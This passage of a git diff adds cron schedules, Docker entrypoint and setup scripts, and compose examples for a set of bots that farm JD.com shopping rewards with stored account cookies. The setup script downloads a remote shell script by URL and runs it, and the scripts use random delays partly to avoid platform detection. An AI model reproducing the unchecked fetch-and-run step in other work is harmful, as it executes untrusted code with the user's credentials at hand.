node /scripts/jd_jr_draw.js >> /scripts/logs/jd_jr_draw.log 2>&1 +# 京东金融分享助力 +5 0 10 * * * node /scripts/jd_jrmx.py >> /scripts/logs/jd_jrmx.log 2>&1 +# 京喜工厂商品列表详情 +10 10 * * * node /scripts/jd_jxgckc.js >> /scripts/logs/jd_jxgckc.log 2>&1 +# 京喜领88元红包 +4 2,10 * * * node /scripts/jd_jxlhb.js >> /scripts/logs/jd_jxlhb.log 2>&1 +# 京喜牧场 +20 * * * * node /scripts/jd_jxmc.js >> /scripts/logs/jd_jxmc.log 2>&1 +# 京东直播 +7 7 7 7 7 node /scripts/jd_live.js >> /scripts/logs/jd_live.log 2>&1 +# 超级直播间红包雨 +0,30 0-23/1 * * * node /scripts/jd_live_redrain.js >> /scripts/logs/jd_live_redrain.log 2>&1 +# 领京豆 +7 7 7 7 7 node /scripts/jd_ljd_xh.js >> /scripts/logs/jd_ljd_xh.log 2>&1 +# 京东通天塔--签到 +3 1,11 * * * node /scripts/jd_m_sign.js >> /scripts/logs/jd_m_sign.log 2>&1 +# 4月蒙牛春日音乐节抽奖机 +31 14 9-21/3 4 * node /scripts/jd_mncryyj.js >> /scripts/logs/jd_mncryyj.log 2>&1 +# 京东-新品-魔方 +10 9,12,15 * * * node /scripts/jd_mofang.ts >> /scripts/logs/jd_mofang.log 2>&1 +# 京东摇钱树 +3 0-23/2 * * * node /scripts/jd_moneyTree.js >> /scripts/logs/jd_moneyTree.log 2>&1 +# 京东摇钱树助力 +0-59/30 * * * * node /scripts/jd_moneyTree_heip.js >> /scripts/logs/jd_moneyTree_heip.log 2>&1 +# 生鲜早起打卡 +15 6,7 * * * node /scripts/jd_morningSc.js >> /scripts/logs/jd_morningSc.log 2>&1 +# 头文字j助力 +16 16,17,18 * * * node /scripts/jd_mpdz_car_help.js >> /scripts/logs/jd_mpdz_car_help.log 2>&1 +# 头文字j任务 +16 16,17,18 * * * node /scripts/jd_mpdz_car_task.js >> /scripts/logs/jd_mpdz_car_task.log 2>&1 +# 牛牛福利 +1 0,19,23 * * * node /scripts/jd_nnfls.js >> /scripts/logs/jd_nnfls.log 2>&1 +# 女装盲盒抽京豆 +35 1,23 * * * node /scripts/jd_nzmh.js >> /scripts/logs/jd_nzmh.log 2>&1 +# 东东萌宠互助版 +15 6-18/6 * * * node /scripts/jd_pet.js >> /scripts/logs/jd_pet.log 2>&1 +# M萌宠自动化 +40 5,12,21 * * * node /scripts/jd_pet_automation.js >> /scripts/logs/jd_pet_automation.log 2>&1 +# 金融养猪 +12 0-23/6 * * * node /scripts/jd_pigPet.js >> /scripts/logs/jd_pigPet.log 2>&1 +# 种豆得豆 +1 7-21/2 * * * node /scripts/jd_plantBean.js >> /scripts/logs/jd_plantBean.log 2>&1 +# 种豆得豆内部互助 +40 4,17 * * * node /scripts/jd_plantBean_help.js >> /scripts/logs/jd_plantBean_help.log 2>&1 +# 京东保价 +39 20 * * * node /scripts/jd_price.js >> /scripts/logs/jd_price.log 2>&1 +# 特务Z +23 8,9 * * * node /scripts/jd_productZ4Brand.js >> /scripts/logs/jd_productZ4Brand.log 2>&1 +# QQ星系牧场 +1 0-23/2 * * * node /scripts/jd_qqxing.js >> /scripts/logs/jd_qqxing.log 2>&1 +# 整点京豆雨 +# 0 * * * * node /scripts/jd_redrain.js >> /scripts/logs/jd_redrain.log 2>&1 +# 半点京豆雨 +# 30 21,22 * * * node /scripts/jd_redrain_half.js >> /scripts/logs/jd_redrain_half.log 2>&1 +# 超级无线店铺签到 +0 0 * * * node /scripts/jd_sevenDay.js >> /scripts/logs/jd_sevenDay.log 2>&1 +# 闪购盲盒 +20 8 * * * node /scripts/jd_sgmh.js >> /scripts/logs/jd_sgmh.log 2>&1 +# 闪购签到有礼 +10 10 * * * node /scripts/jd_shangou.js >> /scripts/logs/jd_shangou.log 2>&1 +# 店铺签到 +0 0 * * * node /scripts/jd_shop_sign.js >> /scripts/logs/jd_shop_sign.log 2>&1 +# 极速免费签到 +7 7 7 7 7 node /scripts/jd_signFree.js >> /scripts/logs/jd_signFree.log 2>&1 +# 京东签到翻牌 +10 8 * * * node /scripts/jd_sign_graphics.js >> /scripts/logs/jd_sign_graphics.log 2>&1 +# 京东签到翻牌 +10 8 * * * node /scripts/jd_sign_graphics1.js >> /scripts/logs/jd_sign_graphics1.log 2>&1 +# 京东极速版红包 +20 0,22 * * * node /scripts/jd_speed_redpocke.js >> /scripts/logs/jd_speed_redpocke.log 2>&1 +# 京东极速版 +21 3,8 * * * node /scripts/jd_speed_sign.js >> /scripts/logs/jd_speed_sign.log 2>&1 +# 京东极速版签到免单 +18 8,12,20 * * * node /scripts/jd_speed_signfree.js >> /scripts/logs/jd_speed_signfree.log 2>&1 +# 特务Z-II +35 10,18,20 * * * node /scripts/jd_superBrand.js >> /scripts/logs/jd_superBrand.log 2>&1 +# 特务集卡 +2 10,18,20 * * * node /scripts/jd_superBrandJK.js >> /scripts/logs/jd_superBrandJK.log 2>&1 +# 特务之明星送好礼 +36 2,19 * * * node /scripts/jd_superBrandStar.js >> /scripts/logs/jd_superBrandStar.log 2>&1 +# 京东超级盲盒 +0 20 3,17 6 * node /scripts/jd_supermh.js >> /scripts/logs/jd_supermh.log 2>&1 +# 京东生鲜每日抽奖 +10 7 * * * node /scripts/jd_sxLottery.js >> /scripts/logs/jd_sxLottery.log 2>&1 +# 探味奇遇记 +7 7 7 7 7 node /scripts/jd_tanwei.js >> /scripts/logs/jd_tanwei.log 2>&1 +# 京东试用 +# 7 7 7 7 7 node /scripts/jd_try.js >> /scripts/logs/jd_try.log 2>&1 +# 京东试用待领取通知 +# 22 15 * * * node /scripts/jd_try_notify.js >> /scripts/logs/jd_try_notify.log 2>&1 +# 极速版-推推赚大钱 +0 1 * * * node /scripts/jd_tyt.js >> /scripts/logs/jd_tyt.log 2>&1 +# 推推赚大钱-快速 +0 0 * * * node /scripts/jd_tyt_ks.js >> /scripts/logs/jd_tyt_ks.log 2>&1 +# 取关所有主播 +55 6 * * * node /scripts/jd_unsubscriLive.js >> /scripts/logs/jd_unsubscriLive.log 2>&1 +# 批量取关店铺和商品 +30 9,23 * * * node /scripts/jd_unsubscribe_xh.js >> /scripts/logs/jd_unsubscribe_xh.log 2>&1 +# 微信小程序签到红包 +8 0 * * * node /scripts/jd_wechat_sign.ts >> /scripts/logs/jd_wechat_sign.log 2>&1 +# 微信赚赚 +30 9 * * * node /scripts/jd_wechat_zz.ts >> /scripts/logs/jd_wechat_zz.log 2>&1 +# 众筹许愿池 +40 0,2 * * * node /scripts/jd_wish.js >> /scripts/logs/jd_wish.log 2>&1 +# 微信签到领红包 +7 7 7 7 7 node /scripts/jd_wq_wxsign.js >> /scripts/logs/jd_wq_wxsign.log 2>&1 +# 玩一玩成就 +0 8 * * * node /scripts/jd_wyw.js >> /scripts/logs/jd_wyw.log 2>&1 +# 小鸽有礼 +3 0,7 * * * node /scripts/jd_xgyl_wx.js >> /scripts/logs/jd_xgyl_wx.log 2>&1 +# 赚京豆 +15,30,45 0 * * * node /scripts/jd_zjd.ts >> /scripts/logs/jd_zjd.log 2>&1 +# 京喜购物返红包助力 +44 */6 * * * node /scripts/jx_aid_cashback.js >> /scripts/logs/jx_aid_cashback.log 2>&1 +# M工厂自动化 +20 * * * * node /scripts/jx_factory_automation.js >> /scripts/logs/jx_factory_automation.log 2>&1 +# M京喜工厂商品 +1 0,8-18/3 * * * node /scripts/jx_factory_commodity.js >> /scripts/logs/jx_factory_commodity.log 2>&1 +# 京喜签到 +20 1,8 * * * node /scripts/jx_sign.js >> /scripts/logs/jx_sign.log 2>&1 \ No newline at end of file diff --git a/docker/default_task.sh b/docker/default_task.sh new file mode 100644 index 0000000..7cc7e18 --- /dev/null +++ b/docker/default_task.sh @@ -0,0 +1,252 @@ +#!/bin/sh +set -e + +# 放在这个初始化python3环境,目的减小镜像体积,一些不需要使用bot交互的用户可以不用拉体积比较大的镜像 +# 在这个任务里面还有初始化还有目的就是为了方便bot更新了新功能的话只需要重启容器就完成更新 +function initPythonEnv() { + echo "开始安装运行jd_bot需要的python环境及依赖..." + apk add --update python3-dev py3-pip py3-cryptography py3-numpy py-pillow + echo "开始安装jd_bot依赖..." + #测试 + #cd /jd_docker/docker/bot + #合并 + cd /scripts/docker/bot + pip3 install --upgrade pip + pip3 install -r requirements.txt + python3 setup.py install +} + +#启动tg bot交互前置条件成立,开始安装配置环境 +if [ "$1" == "True" ]; then + initPythonEnv + if [ -z "$DISABLE_SPNODE" ]; then + echo "增加命令组合spnode ,使用该命令spnode jd_xxxx.js 执行js脚本会读取cookies.conf里面的jd cokie账号来执行脚本" + ( + cat </usr/local/bin/spnode + chmod +x /usr/local/bin/spnode + fi + + echo "spnode需要使用的到,cookie写入文件,该文件同时也为jd_bot扫码获自动取cookies服务" + if [ -z "$JD_COOKIE" ]; then + if [ ! -f "$COOKIES_LIST" ]; then + echo "" >"$COOKIES_LIST" + echo "未配置JD_COOKIE环境变量,$COOKIES_LIST文件已生成,请将cookies写入$COOKIES_LIST文件,格式每个Cookie一行" + fi + else + if [ -f "$COOKIES_LIST" ]; then + echo "cookies.conf文件已经存在跳过,如果需要更新cookie请修改$COOKIES_LIST文件内容" + else + echo "环境变量 cookies写入$COOKIES_LIST文件,如果需要更新cookie请修改cookies.conf文件内容" + echo $JD_COOKIE | sed "s/[ &]/\\n/g" | sed "/^$/d" >$COOKIES_LIST + fi + fi + + CODE_GEN_CONF=/scripts/logs/code_gen_conf.list + echo "生成互助消息需要使用的到的 logs/code_gen_conf.list 文件,后续需要自己根据说明维护更新删除..." + if [ ! -f "$CODE_GEN_CONF" ]; then + ( + cat <$CODE_GEN_CONF + else + echo "logs/code_gen_conf.list 文件已经存在跳过初始化操作" + fi + + echo "容器jd_bot交互所需环境已配置安装已完成..." + curl -sX POST "https://api.telegram.org/bot$TG_BOT_TOKEN/sendMessage" -d "chat_id=$TG_USER_ID&text=恭喜🎉你获得feature容器jd_bot交互所需环境已配置安装已完成,并启用。请发送 /help 查看使用帮助。如需禁用请在docker-compose.yml配置 DISABLE_BOT_COMMAND=True" >>/dev/null + +fi + +#echo "暂停更新配置,不要尝试删掉这个文件,你的容器可能会起不来" +#echo '' >/scripts/logs/pull.lock + +echo "定义定时任务合并处理用到的文件路径..." +defaultListFile="/scripts/docker/$DEFAULT_LIST_FILE" +echo "默认文件定时任务文件路径为 ${defaultListFile}" +mergedListFile="/scripts/docker/merged_list_file.sh" +echo "合并后定时任务文件路径为 ${mergedListFile}" + +echo "第1步将默认定时任务列表添加到并后定时任务文件..." +cat $defaultListFile >$mergedListFile + +echo "第2步判断是否存在自定义任务任务列表并追加..." +if [ $CUSTOM_LIST_FILE ]; then + echo "您配置了自定义任务文件:$CUSTOM_LIST_FILE,自定义任务类型为:$CUSTOM_LIST_MERGE_TYPE..." + # 无论远程还是本地挂载, 均复制到 $customListFile + customListFile="/scripts/docker/custom_list_file.sh" + echo "自定义定时任务文件临时工作路径为 ${customListFile}" + if expr "$CUSTOM_LIST_FILE" : 'http.*' &>/dev/null; then + echo "自定义任务文件为远程脚本,开始下载自定义远程任务。" + wget -O $customListFile $CUSTOM_LIST_FILE + echo "下载完成..." + elif [ -f /scripts/docker/$CUSTOM_LIST_FILE ]; then + echo "自定义任务文件为本地挂载。" + cp /scripts/docker/$CUSTOM_LIST_FILE $customListFile + fi + + if [ -f "$customListFile" ]; then + if [ $CUSTOM_LIST_MERGE_TYPE == "append" ]; then + echo "合并默认定时任务文件:$DEFAULT_LIST_FILE 和 自定义定时任务文件:$CUSTOM_LIST_FILE" + echo -e "" >>$mergedListFile + cat $customListFile >>$mergedListFile + elif [ $CUSTOM_LIST_MERGE_TYPE == "overwrite" ]; then + echo "配置了自定义任务文件:$CUSTOM_LIST_FILE,自定义任务类型为:$CUSTOM_LIST_MERGE_TYPE..." + cat $customListFile >$mergedListFile + else + echo "配置配置了错误的自定义定时任务类型:$CUSTOM_LIST_MERGE_TYPE,自定义任务类型为只能为append或者overwrite..." + fi + else + echo "配置的自定义任务文件:$CUSTOM_LIST_FILE未找到,使用默认配置$DEFAULT_LIST_FILE..." + fi +else + echo "当前只使用了默认定时任务文件 $DEFAULT_LIST_FILE ..." +fi + +echo "第3步判断是否配置了随机延迟参数..." +if [ $RANDOM_DELAY_MAX ]; then + if [ $RANDOM_DELAY_MAX -ge 1 ]; then + echo "已设置随机延迟为 $RANDOM_DELAY_MAX , 设置延迟任务中..." + sed -i "/\(jd_bean_sign.js\|jd_blueCoin.js\|jd_joy_reward.js\|jd_joy_steal.js\|jd_joy_feedPets.js\|jd_car_exchange.js\)/!s/node/sleep \$((RANDOM % \$RANDOM_DELAY_MAX)); node/g" $mergedListFile + fi +else + echo "未配置随机延迟对应的环境变量,故不设置延迟任务..." +fi + +echo "第4步判断是否配置自定义shell执行脚本..." +if [ 0"$CUSTOM_SHELL_FILE" = "0" ]; then + echo "未配置自定shell脚本文件,跳过执行。" +else + if expr "$CUSTOM_SHELL_FILE" : 'http.*' &>/dev/null; then + echo "自定义shell脚本为远程脚本,开始下载自定义远程脚本。" + wget -O /scripts/docker/shell_script_mod.sh $CUSTOM_SHELL_FILE + echo "下载完成,开始执行..." + echo "#远程自定义shell脚本追加定时任务" >>$mergedListFile + sh -x /scripts/docker/shell_script_mod.sh + echo "自定义远程shell脚本下载并执行结束。" + else + if [ ! -f $CUSTOM_SHELL_FILE ]; then + echo "自定义shell脚本为docker挂载脚本文件,但是指定挂载文件不存在,跳过执行。" + else + echo "docker挂载的自定shell脚本,开始执行..." + echo "#docker挂载自定义shell脚本追加定时任务" >>$mergedListFile + sh -x $CUSTOM_SHELL_FILE + echo "docker挂载的自定shell脚本,执行结束。" + fi + fi +fi + +echo "第5步删除不运行的脚本任务..." +if [ $DO_NOT_RUN_SCRIPTS ]; then + echo "您配置了不运行的脚本:$DO_NOT_RUN_SCRIPTS" + arr=${DO_NOT_RUN_SCRIPTS//&/ } + for item in $arr; do + sed -ie '/'"${item}"'/d' ${mergedListFile} + done + +fi + +echo "第6步设定下次运行docker_entrypoint.sh时间..." +echo "删除原有docker_entrypoint.sh任务" +sed -ie '/'docker_entrypoint.sh'/d' ${mergedListFile} + +# 12:00前生成12:00后的cron,12:00后生成第二天12:00前的cron,一天只更新两次代码 +if [ $(date +%-H) -lt 12 ]; then + random_h=$(($RANDOM % 12 + 12)) +else + random_h=$(($RANDOM % 12)) +fi +random_m=$(($RANDOM % 60)) + +echo "设定 docker_entrypoint.sh cron为:" +echo -e "\n# 必须要的默认定时任务请勿删除" >>$mergedListFile +echo -e "${random_m} ${random_h} * * * docker_entrypoint.sh >> /scripts/logs/default_task.log 2>&1" | tee -a $mergedListFile + +echo "第7步 自动助力" +if [ -n "$ENABLE_AUTO_HELP" ]; then + #直接判断变量,如果未配置,会导致sh抛出一个错误,所以加了上面一层 + if [ "$ENABLE_AUTO_HELP" = "true" ]; then + echo "开启自动助力" + #在所有脚本执行前,先执行助力码导出 + sed -i 's/node/ . \/scripts\/docker\/auto_help.sh export > \/scripts\/logs\/auto_help_export.log \&\& node /g' ${mergedListFile} + else + echo "未开启自动助力" + fi +fi + +echo "第8步增加 |ts 任务日志输出时间戳..." +sed -i "/\( ts\| |ts\|| ts\)/!s/>>/\|ts >>/g" $mergedListFile + +echo "第9步执行proc_file.sh脚本任务..." +sh /scripts/docker/proc_file.sh + +echo "第10步加载最新的定时任务文件..." +if [[ -f /usr/bin/jd_bot && -z "$DISABLE_SPNODE" ]]; then + echo "bot交互与spnode 前置条件成立,替换任务列表的node指令为spnode" + sed -i "s/ node / spnode /g" $mergedListFile + #conc每个cookies独立并行执行脚本示例,cookies数量多使用该功能可能导致内存爆掉,默认不开启 有需求,请在自定义shell里面实现 + #sed -i "/\(jd_xtg.js\|jd_car_exchange.js\)/s/spnode/spnode conc/g" $mergedListFile +fi +crontab $mergedListFile + +echo "第11步将仓库的docker_entrypoint.sh脚本更新至系统/usr/local/bin/docker_entrypoint.sh内..." +cat /scripts/docker/docker_entrypoint.sh >/usr/local/bin/docker_entrypoint.sh + +echo "发送通知" +export NOTIFY_CONTENT="" +cd /scripts/docker +node notify_docker_user.js diff --git a/docker/docker_entrypoint.sh b/docker/docker_entrypoint.sh new file mode 100644 index 0000000..6c9852c --- /dev/null +++ b/docker/docker_entrypoint.sh @@ -0,0 +1,57 @@ +#!/bin/sh +set -e + +#获取配置的自定义参数 +if [ -n "$1" ]; then + run_cmd=$1 +fi + +( +if [ -f "/scripts/logs/pull.lock" ]; then + echo "存在更新锁定文件,跳过git pull操作..." +else + echo "设定远程仓库地址..." + cd /scripts + git remote set-url origin "$REPO_URL" + git reset --hard + echo "git pull拉取最新代码..." + git -C /scripts pull --rebase + echo "npm install 安装最新依赖" + npm install --prefix /scripts +fi +) || exit 0 + +# 默认启动telegram交互机器人的条件 +# 确认容器启动时调用的docker_entrypoint.sh +# 必须配置TG_BOT_TOKEN、TG_USER_ID, +# 且未配置DISABLE_BOT_COMMAND禁用交互, +# 且未配置自定义TG_API_HOST,因为配置了该变量,说明该容器环境可能并能科学的连到telegram服务器 +if [[ -n "$run_cmd" && -n "$TG_BOT_TOKEN" && -n "$TG_USER_ID" && -z "$DISABLE_BOT_COMMAND" && -z "$TG_API_HOST" ]]; then + ENABLE_BOT_COMMAND=True +else + ENABLE_BOT_COMMAND=False +fi + +echo "------------------------------------------------执行定时任务任务shell脚本------------------------------------------------" +#测试 +# sh /jd_docker/docker/default_task.sh "$ENABLE_BOT_COMMAND" "$run_cmd" +#合并 +sh /scripts/docker/default_task.sh "$ENABLE_BOT_COMMAND" "$run_cmd" +echo "--------------------------------------------------默认定时任务执行完成---------------------------------------------------" + +if [ -n "$run_cmd" ]; then + # 增加一层jd_bot指令已经正确安装成功校验 + # 以上条件都满足后会启动jd_bot交互,否还是按照以前的模式启动,最大程度避免现有用户改动调整 + if [[ "$ENABLE_BOT_COMMAND" == "True" && -f /usr/bin/jd_bot ]]; then + echo "启动crontab定时任务主进程..." + crond + echo "启动telegram bot指令交主进程..." + jd_bot + else + echo "启动crontab定时任务主进程..." + crond -f + fi + +else + echo "默认定时任务执行结束。" +fi diff --git a/docker/example/custom-append.yml b/docker/example/custom-append.yml new file mode 100644 index 0000000..eeaa8ed --- /dev/null +++ b/docker/example/custom-append.yml @@ -0,0 +1,62 @@ +jd_scripts: + image: lxk0301/jd_scripts + # 配置服务器资源约束。此例子中服务被限制为使用内存不超过200M以及cpu不超过0.2(单核的20%) + # 经过实际测试,建议不低于200M + # deploy: + # resources: + # limits: + # cpus: '0.2' + # memory: 200M + container_name: jd_scripts + restart: always + volumes: + - ./my_crontab_list.sh:/scripts/docker/my_crontab_list.sh + - ./logs:/scripts/logs + tty: true + # 因为更换仓库地址可能git pull的dns解析不到,可以在配置追加hosts + extra_hosts: + - "gitee.com:180.97.125.228" + - "github.com:13.229.188.59" + - "raw.githubusercontent.com:151.101.228.133" + environment: + #脚本更新仓库地址,配置了会切换到对应的地址 + - REPO_URL=git@gitee.com:lxk0301/jd_scripts.git + # 注意环境变量填写值的时候一律不需要引号(""或者'')下面这些只是示例,根据自己的需求增加删除 + #jd cookies + # 例: JD_COOKIE=pt_key=XXX;pt_pin=XXX; + # 例(多账号): JD_COOKIE=pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX; + - JD_COOKIE= + #微信server酱通知 + - PUSH_KEY= + #Bark App通知 + - BARK_PUSH= + #telegram机器人通知 + - TG_BOT_TOKEN= + - TG_USER_ID= + #钉钉机器人通知 + - DD_BOT_TOKEN= + - DD_BOT_SECRET= + #企业微信机器人通知 + - QYWX_KEY= + #京东种豆得豆 + - PLANT_BEAN_SHARECODES= + #京东农场 + # 例: FRUITSHARECODES=京东农场的互助码 + - FRUITSHARECODES= + #京东萌宠 + # 例: PETSHARECODES=东东萌宠的互助码 + - PETSHARECODES= + # 宠汪汪的喂食数量 + - JOY_FEED_COUNT= + #东东超市 + # - SUPERMARKET_SHARECODES= + #兑换多少数量的京豆(20,或者1000京豆,或者其他奖品的文字) + # 例: MARKET_COIN_TO_BEANS=1000 + - MARKET_COIN_TO_BEANS= + #如果设置了 RANDOM_DELAY_MAX ,则会启用随机延迟功能,延迟随机 0 到 RANDOM_DELAY_MAX-1 秒。如果不设置此项,则不使用延迟。 + #并不是所有的脚本都会被启用延迟,因为有一些脚本需要整点触发。延迟的目的有两个,1是降低抢占cpu资源几率,2是降低检查风险(主要是1) + #填写数字,单位为秒,比如写为 RANDOM_DELAY_MAX=30 就是随机产生0到29之间的一个秒数,执行延迟的意思。 + - RANDOM_DELAY_MAX=120 + #使用自定义定任务追加默认任务之后,上面volumes挂载之后这里配置对应的文件名 + - CUSTOM_LIST_FILE=my_crontab_list.sh + diff --git a/docker/example/custom-overwrite.yml b/docker/example/custom-overwrite.yml new file mode 100644 index 0000000..dd0a6a5 --- /dev/null +++ b/docker/example/custom-overwrite.yml @@ -0,0 +1,62 @@ +jd_scripts: + image: lxk0301/jd_scripts + # 配置服务器资源约束。此例子中服务被限制为使用内存不超过200M以及cpu不超过0.2(单核的20%) + # 经过实际测试,建议不低于200M + # deploy: + # resources: + # limits: + # cpus: '0.2' + # memory: 200M + container_name: jd_scripts + restart: always + volumes: + - ./my_crontab_list.sh:/scripts/docker/my_crontab_list.sh + - ./logs:/scripts/logs + tty: true + # 因为更换仓库地址可能git pull的dns解析不到,可以在配置追加hosts + extra_hosts: + - "gitee.com:180.97.125.228" + - "github.com:13.229.188.59" + - "raw.githubusercontent.com:151.101.228.133" + environment: + #脚本更新仓库地址,配置了会切换到对应的地址 + - REPO_URL=git@gitee.com:lxk0301/jd_scripts.git + # 注意环境变量填写值的时候一律不需要引号(""或者'')下面这些只是示例,根据自己的需求增加删除 + #jd cookies + # 例: JD_COOKIE=pt_key=XXX;pt_pin=XXX; + #例(多账号): JD_COOKIE=pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX; + - JD_COOKIE= + #微信server酱通知 + - PUSH_KEY= + #Bark App通知 + - BARK_PUSH= + #telegram机器人通知 + - TG_BOT_TOKEN= + - TG_USER_ID= + #钉钉机器人通知 + - DD_BOT_TOKEN= + - DD_BOT_SECRET= + #企业微信机器人通知 + - QYWX_KEY= + #京东种豆得豆 + - PLANT_BEAN_SHARECODES= + #京东农场 + # 例: FRUITSHARECODES=京东农场的互助码 + - FRUITSHARECODES= + #京东萌宠 + # 例: PETSHARECODES=东东萌宠的互助码 + - PETSHARECODES= + # 宠汪汪的喂食数量 + - JOY_FEED_COUNT= + #东东超市 + # - SUPERMARKET_SHARECODES= + #兑换多少数量的京豆(20,或者1000京豆,或者其他奖品的文字) + # 例: MARKET_COIN_TO_BEANS=1000 + - MARKET_COIN_TO_BEANS= + #如果设置了 RANDOM_DELAY_MAX ,则会启用随机延迟功能,延迟随机 0 到 RANDOM_DELAY_MAX-1 秒。如果不设置此项,则不使用延迟。 + #并不是所有的脚本都会被启用延迟,因为有一些脚本需要整点触发。延迟的目的有两个,1是降低抢占cpu资源几率,2是降低检查风险(主要是1) + #填写数字,单位为秒,比如写为 RANDOM_DELAY_MAX=30 就是随机产生0到29之间的一个秒数,执行延迟的意思。 + - RANDOM_DELAY_MAX=120 + #使用自定义定任务覆盖默认任务,上面volumes挂载之后这里配置对应的文件名,和自定义文件使用方式为overwrite + - CUSTOM_LIST_FILE=my_crontab_list.sh + - CUSTOM_LIST_MERGE_TYPE=overwrite diff --git a/docker/example/default.yml b/docker/example/default.yml new file mode 100644 index 0000000..3ff4995 --- /dev/null +++ b/docker/example/default.yml @@ -0,0 +1,59 @@ +jd_scripts: + image: lxk0301/jd_scripts + # 配置服务器资源约束。此例子中服务被限制为使用内存不超过200M以及cpu不超过0.2(单核的20%) + # 经过实际测试,建议不低于200M + # deploy: + # resources: + # limits: + # cpus: '0.2' + # memory: 200M + container_name: jd_scripts + restart: always + volumes: + - ./logs:/scripts/logs + tty: true + # 因为更换仓库地址可能git pull的dns解析不到,可以在配置追加hosts + extra_hosts: + - "gitee.com:180.97.125.228" + - "github.com:13.229.188.59" + - "raw.githubusercontent.com:151.101.228.133" + environment: + #脚本更新仓库地址,配置了会切换到对应的地址 + - REPO_URL=git@gitee.com:lxk0301/jd_scripts.git + # 注意环境变量填写值的时候一律不需要引号(""或者'')下面这些只是示例,根据自己的需求增加删除 + #jd cookies + # 例: JD_COOKIE=pt_key=XXX;pt_pin=XXX; + # 例(多账号): JD_COOKIE=pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX; + - JD_COOKIE= + #微信server酱通知 + - PUSH_KEY= + #Bark App通知 + - BARK_PUSH= + #telegram机器人通知 + - TG_BOT_TOKEN= + - TG_USER_ID= + #钉钉机器人通知 + - DD_BOT_TOKEN= + - DD_BOT_SECRET= + #企业微信机器人通知 + - QYWX_KEY= + #京东种豆得豆 + - PLANT_BEAN_SHARECODES= + #京东农场 + # 例: FRUITSHARECODES=京东农场的互助码 + - FRUITSHARECODES= + #京东萌宠 + # 例: PETSHARECODES=东东萌宠的互助码 + - PETSHARECODES= + # 宠汪汪的喂食数量 + - JOY_FEED_COUNT= + #东东超市 + # - SUPERMARKET_SHARECODES= + #兑换多少数量的京豆(20,或者1000京豆,或者其他奖品的文字) + # 例: MARKET_COIN_TO_BEANS=1000 + - MARKET_COIN_TO_BEANS= + + #如果设置了 RANDOM_DELAY_MAX ,则会启用随机延迟功能,延迟随机 0 到 RANDOM_DELAY_MAX-1 秒。如果不设置此项,则不使用延迟。 + #并不是所有的脚本都会被启用延迟,因为有一些脚本需要整点触发。延迟的目的有两个,1是降低抢占cpu资源几率,2是降低检查风险(主要是1) + #填写数字,单位为秒,比如写为 RANDOM_DELAY_MAX=30 就是随机产生0到29之间的一个秒数,执行延迟的意思。 + - RANDOM_DELAY_MAX=120 diff --git a/docker/example/docker多账户使用独立容器使用说明.md b/docker/example/docker多账户使用独立容器使用说明.md new file mode 100644 index 0000000..4fd879d --- /dev/null +++ b/docker/example/docker多账户使用独立容器使用说明.md @@ -0,0 +1,83 @@ +### 使用此方式,请先理解学会使用[docker办法一](https://github.com/LXK9301/jd_scripts/tree/master/docker#%E5%88%9B%E5%BB%BA%E4%B8%80%E4%B8%AA%E7%9B%AE%E5%BD%95jd_scripts%E7%94%A8%E4%BA%8E%E5%AD%98%E6%94%BE%E5%A4%87%E4%BB%BD%E9%85%8D%E7%BD%AE%E7%AD%89%E6%95%B0%E6%8D%AE%E8%BF%81%E7%A7%BB%E9%87%8D%E8%A3%85%E7%9A%84%E6%97%B6%E5%80%99%E5%8F%AA%E9%9C%80%E8%A6%81%E5%A4%87%E4%BB%BD%E6%95%B4%E4%B8%AAjd_scripts%E7%9B%AE%E5%BD%95%E5%8D%B3%E5%8F%AF)的使用方式 +> 发现有人好像希望不同账户任务并发执行,不想一个账户执行完了才能再执行另一个,这里写一个`docker办法一`的基础上实现方式,其实就是不同账户创建不同的容器,他们互不干扰单独定时执行自己的任务。 +配置使用起来还是比较简单的,具体往下看 +### 文件夹目录参考 +![image](https://user-images.githubusercontent.com/6993269/97781779-885ae700-1bc8-11eb-93a4-b274cbd6062c.png) +### 具体使用说明直接在图片标注了,文件参考[图片下方](https://github.com/LXK9301/jd_scripts/new/master/docker#docker-composeyml%E6%96%87%E4%BB%B6%E5%8F%82%E8%80%83),配置完成后的[执行命令]() +![image](https://user-images.githubusercontent.com/6993269/97781610-a1af6380-1bc7-11eb-9397-903b47f5ad6b.png) +#### `docker-compose.yml`文件参考 +```yaml +version: "3" +services: + jd_scripts1: #默认 + image: lxk0301/jd_scripts + # 配置服务器资源约束。此例子中服务被限制为使用内存不超过200M以及cpu不超过 0.2(单核的20%) + # 经过实际测试,建议不低于200M + # deploy: + # resources: + # limits: + # cpus: '0.2' + # memory: 200M + restart: always + container_name: jd_scripts1 + tty: true + volumes: + - ./logs1:/scripts/logs + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + # 互助助码等参数可自行增加,如下。 + # 京东种豆得豆 + # - PLANT_BEAN_SHARECODES= + + jd_scripts2: #默认 + image: lxk0301/jd_scripts + restart: always + container_name: jd_scripts2 + tty: true + volumes: + - ./logs2:/scripts/logs + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + jd_scripts4: #自定义追加默认之后 + image: lxk0301/jd_scripts + restart: always + container_name: jd_scripts4 + tty: true + volumes: + - ./logs4:/scripts/logs + - ./my_crontab_list4.sh:/scripts/docker/my_crontab_list.sh + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + - CUSTOM_LIST_FILE=my_crontab_list.sh + jd_scripts5: #自定义覆盖默认 + image: lxk0301/jd_scripts + restart: always + container_name: jd_scripts5 + tty: true + volumes: + - ./logs5:/scripts/logs + - ./my_crontab_list5.sh:/scripts/docker/my_crontab_list.sh + environment: + - 